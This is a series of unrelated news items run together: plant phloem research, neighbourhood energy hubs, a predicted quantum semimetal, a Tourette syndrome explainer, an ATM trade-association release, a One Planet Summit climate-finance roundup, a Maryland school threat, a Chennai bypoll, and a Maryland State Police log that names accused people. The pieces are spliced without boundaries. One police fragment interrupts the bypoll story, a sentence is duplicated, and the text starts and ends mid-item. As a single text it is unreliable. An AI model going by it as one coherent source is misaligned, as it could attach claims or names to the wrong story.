They also found that "the pressures that develop in the leaves of a mature red oak tree are sufficient to drive transport of sugars all the way to the roots," said Noel Michele Holbrook, a research team member who is a professor of biology and Charles Bullard Professor of Forestry in the Department of Organismic and Evolutionary Biology at Harvard.

"We now have evidence that all plantsboth small and talluse the same mechanism to transport sugars," Holbrook said. "And we now understand how trees can get tall without running into transport limitations associated with their size. Our research answers a multidecade debate about how sugars are transported in trees."

Michael Knoblauch, a plant cell biologist from Washington State University, led the development of the instruments used in the research. Credit: Harvard University

The study is an outgrowth of a collaboration begun in 2011 between Holbrook and Michael Knoblauch, a plant cell biologist from Washington State University. Knoblauch led the development of the instruments used in the research, while the measurements were largely done at Harvard.

In addition to Holbrook and Knoblauch, the project's main contributors were Jessica Savage, a former Harvard postdoctoral student and Putnam Fellow at the Arnold Arboretum who is now an assistant professor at the University of Minnesota, and Kaare Jensen, a former Harvard postdoctoral student who is now an associate professor at the Danish Technical University in Copenhagen.

The research was conducted primarily at the Harvard Forest in Petersham, Mass., and at the Arnold Arboretum, much of it dating from Knoblauch's stint as a Bullard Fellow at Harvard in 201314, according to Holbrook, who is on sabbatical at the University of Tasmania in Australia. Five other team members are current or former Ph.D. students or postdoctoral fellows at Harvard.

"We wanted to understand how trees overcome the hydraulic penalty of increasing size, the simple fact that it should take more energy to transport materials over longer distances," Holbrook said. The team also wanted to determine if trees use the same transport mechanisms that smaller plants do.

Holbrook said that sugars generated in photosynthesis become concentrated in "phloem," the plant tissue used to conduct them down from the tree canopy. The concentrated sugar draws in water by osmosis, building up positive turgor, or water pressure, within the cells. That in turn "drives the sugar-rich sap toward places where the sugars are being utilized."

To get samples, a hammer and a chisel were used to cut away the bark on the larger tree stems. Credit: Harvard University

"The problem is that models suggested the hydraulic resistance for the transport of phloem sap would require very large pressure gradients in tall trees," she said. That prompted debates over "whether this mechanism was sufficient to account for phloem transport in those trees." Some scientists have suggested mechanisms exist to add energy along the pathway.

The research team took extensive measurements of the structure of the sugar-conducting tubes along the length of many trees, while also measuring the hydraulic resistance in these tubes.

"To sample the phloem, one of the most delicate and easily wounded tissues in the plant, we had to cut away the outer bark. In the big stems, we did this using a hammer and a chisel, not tools that we typically use in the lab," Holbrook said. The team also measured the pressures in the leaves of a tall tree by using a fluorescent microscope they hoisted up into the tree canopy.

"We found that the resistance to moving the sugar-rich phloem sap does not increase linearly with the transport length because the phloem transport cells in the main stem, especially toward the base, were wider and longer and also had more porous 'sieve plates,'" Holbrook said. "Thus, the pressures needed to drive phloem transport are much lower than had been predicted."

She said the study findings have important implications for food production.

"The majority of food generated by photosynthesis moves through the phloem," she said. "If there are ways to make plants more productive in terms of having higher photosynthesis, then they will also need the ability to transport those sugars to the tissues that we eat. Thus, understanding how plants make efficient transport systems could contribute toward the development of higher-yielding crops and more productive trees."

More information: Jessica A. Savage et al. Maintenance of carbohydrate transport in tall trees, Nature Plants (2017). DOI: 10.1038/s41477-017-0064-y Journal information: Nature Plants

This story is published courtesy of the Harvard Gazette, Harvard University's official newspaper. For additional university news, visit Harvard.edu.
A network of energy producers and consumers. Credit: Sandro Bosch / ETH Zurich

Will we be able to do away with the classic centralized energy supply in the future? From a technological perspective: yes. Distributed multi-energy systems are feasible. But from an economic and societal perspective, many questions remain unanswered, blogs Roman Seidl.

Thermal solar energy systems heat the floor and water for the shower, an elevator runs on solar and wind energy, and whatever electricity is not consumed today is stored in batteries for tomorrow or will be available next month in the form of gas. And if your own energy reserves are not enough, the battery from your neighbour's electric car can help out.

This is not a utopian scenario: distributed multi-energy systems or energy hubs work in individual buildings  such as single-family homes, apartment blocks or in the NEST research building of Empa and Eawag in Dubendorf  or in entire neighbourhoods. Regio Energie, for example, operates a large network in Solothurn, and the electric utility of the city of Zurich (EWZ) is also testing various concepts. An energy hub of this kind has existed since 2016, and arguably in its most extreme form: an energy self-sufficient apartment block in Brutten that is already fully decoupled from the electricity and gas grid.

Research has been carried out for some years at ETH Zurich on distributed multi-energy systems. The principle: energy consumption and energy production come closer together physically, exploit synergies and become more efficient.

H2 and batteries store solar energy

The energy technologies required for energy hubs are now commercially available, favourably priced and technically effective. Electricity from solar panels or other sources can be converted into hydrogen using electrolysers and stored in tanks or in the gas network. Fuel cells later turn it back into electricity and heat for when demand is especially high or the sun is not shining. Batteries compensate for short-term fluctuations. From a technical point of view, there is still the challenge of how to optimally regulate an energy network; the control technology for this is also being developed at ETH Zurich.

Energy hubs can play an important role in the energy supply of the future. However, the concept still has to overcome societal and economic hurdles, such as those of privacy: if a house is part of a network in the neighbourhood, the consumers relinquish some of the control.

Would you be willing to let the control technology turn off your freezer for a short period of time, determine the charging time of your electric car or automatically regulate the temperature to between 20 and 24 degrees in the winter? Questions also arise with respect to the safety of the energy systems, the reliability of the energy supply and the protection of the data on individual energy consumption, which by necessity must be available to regulate the energy systems.

Who takes the first step?

What's more, distributed energy supply lacks an economically rewarding concept. Surveys conducted as part of our research show that potential users, i.e. homeowners and tenants, regard energy hubs as useful in principle. But it is only a minority of users that are currently taking the first step and participating in hubs on their own initiative, mainly because the required level of investment is high and the regulation of hubs is complex. Homeowners and tenants see the federal government and energy suppliers as responsible.

Distributed energy systems are often associated with grassroots initiatives such as energy communities or self-sufficient villages. A pilot project involving the general population has yet to be launched. Energy cooperatives are pursuing exciting approaches such as an "energy commons", which decentralised producers and consumers can join.

Transforming a highly complex system

Multi-energy systems are therefore no utopia  but it will take time until they arrive in the real world. The current sticking points are financing, networking with other households, implementation in the old building stock, data protection and control. Plus there is much more at stake than just a new technology. A distributed energy supply calls for the transformation of an entire energy system with all its societal and technical challenges.

More information: Paolo Gabrielli et al. Optimal design of multi-energy systems with seasonal storage, Applied Energy (2017). DOI: 10.1016/j.apenergy.2017.07.142 Timo von Wirth et al. Distributed energy systems on a neighborhood scale: Reviewing drivers of and barriers to social acceptance, Renewable and Sustainable Energy Reviews (2017). DOI: 10.1016/j.rser.2017.09.086
Rice University physicists (from left) Hsin-Hua Lai, Qimiao Si and Sarah Grefe have made predictions that could help experimental physicists create the first Weyl-Kondo semimetal. Credit: Jeff Fitlow/Rice University

U.S. and European physicists searching for an explanation for high-temperature superconductivity were surprised when their theoretical model pointed to the existence of a never-before-seen material in a different realm of physics: topological quantum materials.

In a new study due this week in the Early Edition of the Proceedings of the National Academy of Sciences (PNAS), Rice University theoretical physicist Qimiao Si and colleagues at the Rice Center for Quantum Materials in Houston and the Vienna University of Technology in Austria make predictions that could help experimental physicists create what the authors have coined a "Weyl-Kondo semimetal," a quantum material with an assorted collection of properties seen in disparate materials like topological insulators, heavy fermion metals and high-temperature superconductors.

All these materials fall under the heading of "quantum materials," ceramics, layered composites and other materials whose electromagnetic behavior cannot be explained by classical physics. In the words of noted science writer Philip Ball, quantum materials are those in which "the quantum aspects assert themselves tenaciously, and the only way to fully understand how the material behaves is to keep the quantum in view."

These quirky behaviors arise only at very cold temperatures, where they cannot be masked by the overwhelming forces of thermal energy. The most celebrated quantum materials are the high-temperature superconductors discovered in the 1980s, so named for their ability to conduct electrical current without resistance at temperatures well above those of traditional superconductors. Another classic example is the heavy fermion materials discovered in the late 1970s. In these, electrons appear to be effectively hundreds of times more massive than normal and, equally unusual, the effective electron mass seems to vary strongly as temperature changes.

A generation of theoretical physicists dedicated their careers to explaining the workings of quantum materials. Si's work focuses on the collective behavior that emerges in electronic materials undergoing transformation from one quantum state to another. It is near such points of transformation, or "quantum critical points," that phenomena like high-temperature superconductivity occur.

In 2001, Si and colleagues offered a new theory that explained how electronic fluctuations between two entirely different quantum states give rise to such behaviors at quantum critical points. The theory has allowed Si and colleagues to make a host of predictions about the quantum behavior that will arise in particular types of material as the materials are cooled to the quantum critical point. In 2014, Si was tapped to lead the Rice Center for Quantum Materials (RCQM), a universitywide effort that draws upon the work in more than a dozen Rice groups across the schools of Natural Sciences and Engineering.

"We have been absolutely fascinated by strongly correlated materials," Si said of his own group. "Collective behavior such as quantum criticality and high-temperature superconductivity have always been the center of our attention.

"Over the past two years, several experimental groups have reported nontrivial topology in solid-state conducting materials, but it's an open question whether there are conducting states that have nontrivial topology and are, at the same time, strongly interacting. No such materials have been realized, but there's a lot of interest in looking for them."

In the PNAS study, Si said he and postdoctoral fellow Hsin-Hua Lai and graduate student Sarah Grefe were working with a set of models to examine questions related to quantum criticality and high-temperature superconductors.

"We really just stumbled upon a model in which, suddenly, we found that the mass had gone from like 1,000 times the mass of an electron to zero," Lai said. A signature characteristic of "Weyl fermions," elusive quantum particles first proposed by Hermann Weyl more than 80 years ago, is that they have zero mass.

Experimentalists have only recently provided evidence for the existence of solid-state conducting materials that qualify as hosting Weyl fermions. These materials share some of the characteristics of topological insulators, a type of quantum material that gained international attention following the awarding of the 2016 Nobel Prize in Physics, but are quite distinct in other ways. Traditionally, topological materials have only been defined in insulators, and electricity would flow only on the materials' surface and not through the bulk. The topological conductors, however, carry electricity in the bulk, thanks to the Weyl fermions.

"These topological conductors can be described within the textbook framework of independent electrons," Grefe said. "The central question, as challenging as it is fascinating, is this: What happens when the electron correlations are strong?"

In examining their work more closely, Si, Lai and Grefe demonstrated that their zero-mass fermions are intimately tied to both strong electron correlations and nontrivial topology.

"We quickly realized that these are Weyl fermions that originate from a quintessential strong-correlation physics called the Kondo effect," Grefe said. "We therefore dubbed this state a Weyl-Kondo semimetal."

The Kondo effect captures how a band of electrons, which are so strongly correlated with each other that they act as localized spins, behave in a background of conduction electrons.

Together with study co-author Silke Paschen, an experimental physicist at Vienna University of Technology who was spending six months at RCQM as a visiting professor when the discovery was made, Si, Lai and Grefe sought to identify the unique experimental signatures of the Weyl-Kondo semimetal.

"We found that the Kondo effect makes the Weyl fermions move with a velocity that differs by several orders of magnitude from the noninteracting case," Lai said. "This allowed us to predict that the electron correlations will enhance a particular quantity in the temperature dependence of the specific heat by a mind-boggling factor of a billion."

Si said this effect is huge, even by the standard of strongly correlated electron systems, and the work points to a larger principle.

"The Kondo effect in these kinds of materials occurs in the vicinity of magnetic order," Si said. "Our previous work has shown that high-temperature superconductivity tends to develop in systems on the verge of magnetic order, and this study suggests that some strongly correlated topological states develop there as well.

"This may well represent a design principle that will guide the search for a wide variety of strongly correlated topological states," he said.
By India Today Web Desk: If you've been charmed and moved by Rani Mukerji's character from her upcoming movie, Hichki, you're probably wondering what Tourette syndrome is. The trailer of the movie shows Mukerji's character portraying the symptoms of, as well as admitting that she has Tourette syndrome.

Here's everything you need to know about this neurological disorder:

What is Tourette syndrome?

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Tourette syndrome is a common neurological disorder that causes patients to have sudden, uncontrolled movements or sounds, repetitively. These sudden movements and sounds are called nervous tics, or just tics.

The condition was named after Georges Albert Edouard Brutus Gilles de la Tourette by Jean-Martin Charcot in 1885, a French physician and neurologist who made a study of a number of patients who suffered from the disorder. Tourette was one of Charcot's most remarkable patients, and so, the disease was named after him.

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What causes Tourette syndrome?

According to WebMD, Tourette syndrome is linked to the part of the brain that controls movements, called the basal ganglia . Trouble or disruptions in the brain's network of nerves affects the proper function of this part of the brain, leading to the tics.

But the human brain still largely remains a mystery for researchers. So, the exact causes of Tourette's is unknown. It is, however, suspected that genes play a role in passing down this disorder. If there are Tourette's patients in your family, it is likely that it will be passed down to the following generations, but the tics would differ.

Also Read: Breast cancer to depression, birth control pills can be harmful for your health in many ways

Symptoms and treatment

The biggest symptom of Tourette are the tics, probably because they are noticeable over time. Stress, excitement, sickness and exhaustion can make this chief symptom worse. What's more, as Mukerji's character exhibits in the trailer, the symptoms can be quite embarrassing, because they cannot be controlled and can happen in public.

The tics of Tourette can, thankfully, be controlled with treatment. It is not completely curable or preventable yet, but early detection can help one avoid the risk of the disorder turning severe.

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ATMIA Publishes Compilation eBook Commemorating The People Behind the ATM

SIOUX FALLS, SD  The ATM Industry Association (ATMIA) has published Meet the People Behind the ATM You Use Every Day, to commemorate the 50th anniversary of the ATM as well as ATMIAs 20th anniversary. The eBook is a compilation of the dynamic stories told by a variety of people and companies active in both ATMIA and the ATM industry which were published by the association throughout the year.

One of our associations founding values is humanity  relationships based on respect and trust within our worldwide industry, said Mike Lee, ATMIA CEO. These are true stories of industry connections, friendships, romances and even marriages which were born in our industry over the years.

The publication displays the respect, support, relationships and fun on which the ATM industry has thrived and grown over the past 50 years. ATMIA members share stories of the shoes they have worn, the ideas that have worked, advice they wish to share, the strange circumstances that led them to ATMs and much more. Like the ATM industry, the stories span across the globe, from the U.S. to Canada, Austria, Spain and beyond!

The next generation of ATMs, said Lee, will be built, like the first 50 years, not on technology alone but on technology AND humanity working side by side. In the future, we will need an even more networked industry as we seek new global standards to increase interoperability.

To find out more about the people behind the ATM industry, download Meet the People Behind the ATM You Use Every Day.

About ATMIA



ATMIA is the leading non-profit trade association representing the entire global ATM industry. ATMIA serves more than 10,500 members from over 650 participating companies in 67 countries spanning the whole ATM ecosphere, including financial institutions, independent ATM deployers, equipment manufacturers, processors and a plethora of ATM service and value-added solution providers. ATMIA provides education, advocacy and connections to help its members keep abreast of industry news and developments; increase knowledge and professionalism; improve operational efficiencies; understand and influence regulatory processes; participate in the local, regional and global ATM community; and forge new relationships to advance their businesses. Founded in 1997, ATMIA has active chapters in the United States, Canada, Europe, Latin America, Asia-Pacific, Asia, Africa, India and the Middle East focusing on the unique needs and issues of each region. For more information, please visit atmia.com. Follow us on LinkedIn, Twitter or YouTube.

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Finding Elvis: Tracking Down a Bosnian Boy 25 Years After The War

RFE/RLs Balkan Services trailer and interview with a German photographer who wanted to track down Elvis  whom he last saw as a 6-year-old boy during the 1990s Bosnian war, was watched almost 200 thousand times on Facebook. Following an emotional reunion in Sarajevo, many former refugees from the Varazdin camp in northern Croatia decided to connect after 25 years.

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One Planet Summit: Finance Commitments Fire-Up Higher Momentum for Paris Climate Change Agreement

Posted on 19 December 2017 by Guest Author

This is a re-post from UN Climate Change News

UN Climate Change News, Paris, Dec 12  Today at the One Planet Summit, on the 2nd anniversary of the Paris Agreement, world leaders gathered once again in the French capital to underscore how financial flows are shifting billions and trillions towards a low-carbon future that will benefit peoples and livelihoods.

Patricia Espinosa, Executive Secretary UN Climate Change, said: Today has marked another extraordinary moment in the world-wide efforts to turn the promise of the Paris Agreement into a global realityin other words delivering a climate secure future to all corners of the Earth and contributing to the sustainable future of every man, woman and child.

From the United Nations system to governments and investors, billions of dollars have today been mobilized and trillions more pointed towards a transformation of the worlds energy to agricultural sectors, adding to the finance that has already been flowing before, during and since Paris 2015.

We know this is going to be a long journey and there will be bumps along the way. But the alignment of so many areas of the global economy, the process to reset the financial system and the support for developing countries national climate action plans or NDCs announced today, should give everyone a sense that the urgency needed and the scale required is being forged.

We look forward from the UN Climate Conference 2017 in Bonn and the One Planet Summit in Paris, to California, COP24 in Poland in 2018 and the UN Secretary-Generals Summit in 2019 as the world moves to raise ambition further before 2020 under the UN climate change process.

The conveners of the Summit  French President Emmanuel Macron, World Bank President Jim Yong Kim and UN Secretary-General Antonio Guterres  signed a Declaration to welcome the outcomes of the event, which launched an array of landmark commitments.

These are helping to demonstrate that public and private finance is rapidly being deployed in both developed and developing countries to strengthen sustainable development and assist nations towards achieving their national climate action plans, known as NDCs.

This momentum also represents a broader reshaping of the worlds financial architecture, which will be fundamental to creating the conditions for a successful Talanoa Dialogue next year and the urgency of countries to raise ambition further and faster.

The French government has identified 12 #OnePlanet commitments.

The following list includes most of these and other key announcements made during the One Planet Summit that will help to keep global temperature rises to well below 2 degrees and, in turn, safeguard the meeting of the 2030 Sustainable Development Goals:

EU External Investment Plan: climate-smart investments worth EUR 9 billion unveiled at 'One Planet Summit':

As part of the EU External Investment Plan (EIP), which is set to mobilise at least 44 billion of sustainable investment for Africa and the EU Neighbourhood countries by 2020.

Climate Action and Energy Commissioner Miguel Arias Canete announced climate-relevant investments in three targeted areas  sustainable cities, sustainable energy and connectivity and sustainable agriculture, rural entrepreneurs and agribusiness. These targeted areas are expected to generate up to EUR 9 billion investments by 2020.

Sustainable Finance Facilities: UN Environment and BNP Paribas sign a milestone agreement to establish collaborative partnerships with a target of capital funding amounting to USD 10 billion by 2025 in developing countries:

UN Environment and BNP Paribas will collaborate to identify suitable commercial projects with measurable environmental and social impact. The aim is to support smallholder projects related to renewable energy access, agroforestry, water access and responsible agriculture, among other sustainable activities.

The Sustainable Finance Facilities programme is the first of its kind in terms of collaboration between companies, investors, development sector partners, and civil society organisations, with the support of national governments.

This agreement builds on the Tropical Landscapes Financing Facility, a partnership between UN Environment, BNP Paribas, World Agroforestry Centre and ADM Capital in Indonesia.

Climate Action 100+: 225 investors with more than USD 26.3 trillion assets under management to engage with 100+ companies to accelerate climate action:

Global investors launched a new initiative to drive action on climate change from the worlds largest corporate greenhouse gas emitters by ensuring they act swiftly to improve governance on climate change, curb emissions, and strengthen climate-related financial disclosures.

Specifically, as part of their collaborative engagement, investors from around the world will ask companies to: Implement a strong governance framework which clearly articulates the boards accountability and oversight of climate change risk; take action to reduce greenhouse gas emissions across their value chain; provide enhanced corporate disclosure in line with the final recommendations of the Task Force on Climate-related Financial Disclosures (TCFD).

The Caribbean Climate Smart Coalition: Caribbean leaders launch ambitious plan to create the worlds first climate smart zone, seeking rapid implementation of USD 8 billion climate investment plan:

Alongside the ongoing emergency response, Caribbean leaders announced the launch of a new public-private coalition to create the world's first "climate-smart zone" that will transform the regional energy system, build resiliency, drive economic growth and set a global example.

that will transform the regional energy system, build resiliency, drive economic growth and set a global example. The Caribbean Climate-Smart Coalition will support and help catalyse an ambitious USD 8 billion investment plan to bring greater energy and infrastructure resilience to 3.2 million Caribbean households. It will help Caribbean islands to eliminate their costly dependency on fossil fuels so that they can meet close to 100% percent of their energy needs from clean or renewable sources, and to embed resilience into communities and livelihoods to realise the bold ambitions of all Caribbean people.

UN Women: Initiative to boost resilience of women and youth in the Sahel through climate-smart agriculture will transform livelihoods of a million people by doubling their income in three years:

The climate smart agriculture programme will leverage information and communication technologies (ICTs) to provide access to agriculture assets. Using a digital platform, known as Buy-From-Farmers or AgriFed, small-scale women and youth farmers will be connected to customers, suppliers, information, markets and finance to help build their economic identity and make them valued entrepreneurs, able to end food insecurity in the Sahel.

UN Women presented the programme, which is among some 12 initiatives showcased at todays Summit, on behalf of the UN system.

UNITLIFE: Initiative to galvanize new global, regional and national level public-private partnerships for generating more innovative financing for 2030 Sustainable Development Goals:

UNITLIFE will use digital innovation to collect voluntary micro-donations from consumers at the time of a purchase. During the initiatives implementation phase, the micro-donations will go into a central fund, hosted by the United Nations Office for Project Services (UNOPS).

The funds will then be disbursed to support a set of important and complementary measures, currently overlooked and underfunded, in order to address both climate change and malnutrition (affecting approximately one in five children worldwide and constituting a major hindrance for the development of the poorest countries).

An early program, supported by UN Women, will encourage training for women on climate-resilient agriculture in the Sahel region.

Task Force on Climate-related Financial Disclosures (TCFD): Two hundred thirty-seven companies with a combined market capitalization of over $6.3 trillion have publicly committed to support the TCFD:

Mike Bloomberg and FSB Chair Mark Carney announced growing support for the TCFD on the two-year anniversary of the Paris Agreement, including over 150 financial firms, responsible for assets of over USD 81.7 trillion.

The companies and organizations supporting the TCFD, which have more than doubled in number in the five months since the recommendations were published in June 2017, span the entire capital and investment chainfrom companies that issue equity and debt to the largest credit rating agencies to stock exchanges and ultimately to investors that buy the equities and debt.

14 companies are now committed to implement the recommendations in the next 3 years, and the TCFD will launch a new platform to monitor the implementation of the recommendations, called TCFD Knowledge.

EBRD and global cities group scale up green urban financing:

Under the new partnership, the EBRD and the GCoM are seeking to drive climate action in up to 60 cities, including many that have not been a focus for climate support so far.

The EBRD will provide over US$ 500 million in first mover financing aimed at leveraging additional third party contributions for the development and implementation of city action plans and projects worth a total of US$ 1.5 billion.

Leaders of countries and regions across the Americas vow to put a price on greenhouse gases as a key instrument in the fight against climate change:

Canada, Colombia, Costa Rica, Chile and Mexico pledged to apply the cost of carbon dioxide discharges to guide public investment decisions and to encourage private companies to follow suit through internal pricing systems.

The governors of California and Washington, as well as the premiers of Alberta, British Columbia, Nova Scotia, Ontario and Quebec, also joined the declaration signed at the One Planet Summit.

The initiative was endorsed by the International Emissions Trading Association, whose members comprise leading energy companies, consulting firms and brokers.

Canada and World Bank Partnership to support effective climate action in developing countries in support of the Paris Agreement:

Canada and the World Bank Group will support the acceleration of developing countries transition away from traditional coal-fired electricity toward clean energy to power their fast-growing economies.

They will also support small island developing states in expanding their renewable energy infrastructure, helping to put them on a more sustainable pathway that is less polluting and ensures greater energy access. This work also includes sharing best practices on how to ensure a just transition for displaced workers and their communities to minimize hardships and help workers and communities benefit from new clean growth opportunities.

AXA accelerates its commitment to fight climate change: multiplying green investments fourfold to Euro 12 billion by 2020; and committing to over Euro 3 billion of additional divestments from carbon-intensive energy producers:

In 2015, AXA committed to reach Euro 3 billion in green investments by 2020. Given that this target has already been reached, the Group has decided to quadruple its original target and reach Euro 12 billion by 2020.

AXA decided two years ago to divest Euro 500 million from the coal industry by targeting companies which derive over 50% of their revenues from coal. Today, the group decided to increase its divestment fivefold to reach Euro 2.4 billion, by divesting from companies which derive more than 30% of their revenues from coal, have a coal-based energy mix that exceeds 30%, actively build new coal plants, or produce more than 20 million tonnes of coal per year.

Storebrand, Norways biggest private pension fund, launched a USD 1.3 billion fossil-fuel-free bond programme and urged investors to do more to curb climate change:

The bond fund adds to USD 2.1 billion equity funds run by Storebrand which also have no investments in fossil fuels. In total, Storebrand has a total USD 80 billion worth of assets under management.

The new fund, Storebrand Global Kreditt IG, will be invested mainly in corporate bonds issued by financial institutions and industrial companies in developed nations.

The World Bank to no longer finance upstream oil and gas projects after 2019:

World Bank says it will cease financing upstream oil and gas after 2019, apart from certain gas projects in the poorest countries in exceptional circumstances, where there is a clear benefit in terms of energy access for the poor and the project fits within the countries Paris Climate Change Agreement commitments).

The bank also announced it was "on track to meet its target of 28 percent of its lending going to climate action by 2020."

Green Bonds Pledge: Industrial issuers of 26 billion in Green bonds pledge to double down on green financing:

Nine of Europes largest industrial emitters of green bonds (EDF, Enel, ENGIE, Iberdrola, Icade, Paprec, SNCF Reseau, SSE and TenneT) publicly announced their pledge to further develop one of the most dynamic segments of sustainable finance today, the green bond market.

These companies have joined forces to voice their commitment to the green bond market as part of their strategy, financing policy and their active engagement in the reporting debate and dialogue with investors. The pledge also calls upon other industrial corporates to consider issuing green bonds.

Financial Disclosure in China: By 2020 every listed company in China must disclose information on environmental impacts:

Top green finance official Ma Jun told Climate Finance Day attendees that China wants international support to clean up its investments abroad. Ma Jun explained that without this information, the market cannot determine who is green  or not.

China is also encouraging green investment at home. These range from cheap money for banks that invest in green projects to requiring certain industries to take out pollution liability insurance.

He said that 2020, all companies would be required to disclose information on their environmental impact: The basic logic is: we need a lot of money for green investments.

Shareholders Resolutions: Exxon has bowed to shareholders demands to provide details on climate-change impact to its business:

ExxonMobil says it will publish new details about how climate change could affect its business, in a move aimed at appeasing critics and forestalling another proxy fight next year.

The largest U.S. oil and gas producer said in a filing to U.S. securities regulators that its board agreed to provide shareholders with information on energy demand sensitivities, implications of two degree Celsius scenarios, and positioning for a lower-carbon future.

89 French companies, representing an overall turnover of 1,5 billion Euros and 6 million jobs worldwide, committed to invest massively in low-carbon solutions as part of the French Business Climate Pledge:

60 companies made commitments to reduce their emissions, 27 have an internal price on carbon, and 42 are engaged in the Science-Based Targets initiative or are considering joining it.

34 of the companies have decided or intend to implement the recommendations of the Taskforce on Climate-Related Financial Disclosures (TCFD).

One Planet Charter: ICLEI, Global Covenant of Mayors, and C40 announce to charter to accelerate Local Implementation of the Paris Agreement:

Through the One Planet Charter, cities will commit to specific climate action that drives investments, sustainable public procurement, and policy decisions in renewable energy, energy efficiency, electric vehicles, and efforts for zero emission buildings and zero waste.

The Charter highlights cities commitment to increase demand for sustainable and resilient infrastructure, products and services, while also recognizing the importance of working closely with national governments and business sectors to mobilise global climate action.

Cities will bring detailed commitments to the 2018 Global Action Summit in California.

Urban 20 (U20): C40 Cities launch U20 initiative to raise the profile of urban issues and enhance the role of cities in the G20 agenda:

Urban 20 (U20) is a new diplomatic initiative, facilitated by C40 Cities, to help cities develop collective messages and inclusive solutions for global issues such as climate action, the future of work and social integration.

The initiative will bring together 30 major cities located in G20 countries, and many other global cities, to raise the profile of urban issues in the G20 agenda and enhance the role of cities in the G20 process.

The inaugural U20 Mayors Summit will meet in Buenos Aires in October 2018, ahead of the G20 Heads of State Summit hosted by Argentina.

Research on health benefits of climate action in Paris holds lessons for cities worldwide: such action adds 3 weeks to average life expectancy for every citizen of Paris and could prevent 45,000 premature deaths globally each year:

New research by C40 Cities and announced by Mayor of Paris, Anne Hidalgo & Former Governor of California Arnold Schwarzenegger revealed the scale of the potential health benefits that could be achieved by cities and regions implementing climate action and policies to clean the air that citizens breathe.

Walking or cycling to work, on green & healthy streets, can cut your risk of heart disease by almost one quarter and type 2 diabetes by 15%, and it reduces greenhouse gas emissions.

The BNP Paribas Foundation and the Bill & Melinda Gates Foundation, under the patronage of the President of France, launch One Planet Fellowship:

The One Planet Fellowship is a USD 15 million 5-year programme designed to support 600 African and European researchers working to help Africa adapt to climate change. It also aims to bolster the African and European scientific community working in this field.

One Planet Fellows will collaborate in research and higher education projects that aim to advance agriculture and climate change issues, funded by the Agropolis Foundation over a five-year period with a budget of USD 5 million.

UNIDO has mobilized US$849m to protect the ozone layer and reduce global warming:
PRINCE FREDERICK, Md. (December 18, 2017)At approximately 9:12 a.m. this morning, the Calvert County Sheriff's Office received a call for a threat at Huntingtown High School. Police did not provide specific details about the threat received.



While deputies were responding to the school, another call regarding the threat was made to the Maryland State Police.



The school was placed into a modified lockdown while Deputies and K-9 units cleared the area. The threat was deemed not to be credible and the school resumed normal activities a short time later.



This case remains under investigation. Anyone with any further information is asked to contact the Sheriff's Office at 410-535-2800.
By PTI: Chennai, Dec 19 (PTI) Campaigning for the high-stakes December 21 bypoll to the RK Nagar assembly seat here will end this evening and the outcome of the hustings is likely to be seen as a report card of the 17-month old AIADMK government.

The political campaign will end by 5 pm and the Election Commission has made it clear that there will be no related activities afterwards as per rules.

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The outcome of the by-election could serve as a report card of the ruling AIADMK which faced turbulence after late chief minister J Jayalalithaas death.

The campaign witnessed the top leaders of various parties--Chief Minister K Palaniswami and his deputy O Panneerselvam of the AIADMK, DMK leader MK Stalin and sidelined AIADMK leader TTV Dhinakaran--reaching out to voters with hectic campaign schedules.

All parties are keen to make a mark in the election which has become a battle of pride as Jayalalithaa represented the constituency earlier. Her death in December last year necessitated the bypoll.

The campaign also saw old rivals Stalin and MDMK founder Vaiko share stage for the first time in many years. The opposition is putting up a united show in a bid to to snatch victory in this city segment.

Many opposition parties, including the Congress, the VCK and the Left have backed DMK candidate N Maruthuganesh.

Dhinakaran, who fell out of favour with Palaniswami and also lost the battle for partys Two Leaves symbol to the latter, is fighting as an independent and has expressed confidence that he can spring a surprise against the AIADMKs E Madhusudhanan as well as the DMK.

With 59 candidates in fray, the bypoll is virtually confined to old warhorse Madhusudhanan, DMKs greenhorn Maruthuganesh and Dhinakaran.

Polling will be held on December 21 while the votes will be taken up for counting on December 24. PTI SA ROH AAR

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PRINCE FREDERICK, Md.

Disclaimer: In the U.S.A., all persons accused of a crime by the State are presumed to be innocent until proven guilty in a court of law. See: so.md/presumed-innocence. Additionally, all of the information provided above is solely from the perspective of the respective law enforcement agency and does not provide any direct input from the accused or persons otherwise mentioned. You can find additional information about the case by searching the Maryland Judiciary Case Search Database using the accused's name and date of birth. The database is online at so.md/mdcasesearch . Persons named who have been found innocent or not guilty of all charges in the respective case, and/or have had the case ordered expunged by the court can have their name, age, and city redacted by following the process defined at so.md/expungeme.

(December 19, 2017)The Prince Frederick Barrack of the Maryland State Police (MSP) released the following incident and arrest reports.THEFT: On 12/4/2017 at 6:36 pm, Trooper First Class Harrod responded to the Weis Market in Prince Frederick for a theft complaint. The manager reported a shopper had been observed putting items into a bag and leaving the store without payment. The vehicle registration and description in which the suspect left was given and a canvass of the area resulted in negative results. A description of the suspect was given and matched that of the owner of the vehicle. Surveillance footage was reviewed and showed two times in the same day that this suspect had removed items from the store without payment., was served a Criminal Summons for Theft less than $100.00 x 2 on December 8th.WARRANT SERVICE, POSSESSION OF MARIJUANA & OXCOYDONE: On 12/4/2017 at 11:42 pm, Corporal Wiesemann and Trooper Keyser stopped a vehicle on Rt. 4 near HG Trueman Rd in Lusby for traffic violations., was found to have an open warrant through Prince George's County. She was placed under arrest. Beyer was found to be driving on a suspended license. A search incident to the arrest revealed both marijuana and Oxycodone. Beyer was incarcerated at the Calvert County Detention Center.THEFT, PHONE MISUSE, HARASSMENT: On 12/6/2017 at 5:08 pm, Corporal Oles received a complaint of theft, phone misuse and harassment from the victim living in Lusby. The victim reported, had stolen a cell phone from her and was making repeated calls and threats to both the victim and her daughter. Cpl. Oles made contact with Ruslander and explained that all contact with the victim and her daughter was to stop and that he would be charged for the theft of the phone. Later that evening, the victim called and reported that Ruslander was continuing to text and call. On December 8th, Ruslander was served on a Criminal Summons for Theft, Telephone Misuse and Harassment.FALSE STATEMENT (FRAUD): On 12/8/2017 at 5:21 pm, Trooper First Class Harrod stopped a vehicle on Rt. 2 near Aspen Woods Dr. in Sunderland for traffic violations. In an attempt to avoid arrest from driving on a suspended license, the driver gave the name and birth date of a relative. After checking the MVA photo of the owner of the vehicle,, was able to be identified. She was arrested and incarcerated at the Calvert County Detention Center.DUI, POSSESSION OF MARIJUANA & OXYCODONE: On 12/9/2017 at 8:32 pm, Trooper First Class Matthews responded to the Bridge Liquor and Carryout on Hallowing Point Rd. in Prince Frederick to check the welfare of an unconscious female. After becoming conscious,, was determined to be operating the vehicle while under the influence of a controlled dangerous substance. Both Marijuana and Oxycodone were found in the vehicle during an incident to the arrest. She was arrested and incarcerated at the Calvert County Detention Center.FIREARMS VIOLATION, IMPERSONATING A POLICE OFFICER: On 12/11/2017 at 3:17 pm, Trooper First 